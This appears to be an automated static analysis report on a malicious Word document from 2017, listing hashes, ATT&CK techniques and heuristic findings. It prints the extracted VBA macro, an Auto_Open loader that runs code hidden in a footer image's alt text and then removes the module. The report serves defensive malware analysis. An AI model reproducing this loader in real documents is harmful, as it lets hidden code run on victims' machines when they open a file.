Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 50fc2caa21bad96d…

MALICIOUS

Office (OLE)

34.5 KB Created: 2017-11-26 21:59:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: f4b689b9a35f5c66ba0a459707666b49 SHA-1: c854721a999f3190186365a9df164a865f983b69 SHA-256: 50fc2caa21bad96d12ae8cd0fac0ac78eb65260cffdf7e7e1f6182fe04da8232
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains VBA macros with Auto_Open and AutoOpen subroutines, indicating execution upon document opening. The script attempts to construct and execute a PowerShell command, likely to download and execute a second-stage payload. The presence of AutoOpen macros and the execution of external commands are strong indicators of malicious intent.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 689 bytes
SHA-256: 9f867b379f01b06a287ba23339d5a1660ca9dade4ba3f5e99d1c4110a3cbc618
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyDocument"
Sub Auto_Open()
    Dim VKxVJ As Object
    Set VKxVJ = ActiveDocument.VBProject.VBComponents.Add(1)
    VKxVJ.CodeModule.AddFromString ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    Application.Run VKxVJ.Name & ".SUrAb"
    ActiveDocument.VBProject.VBComponents.Remove VKxVJ
End Sub
Sub AutoOpen()
    Auto_Open
End Sub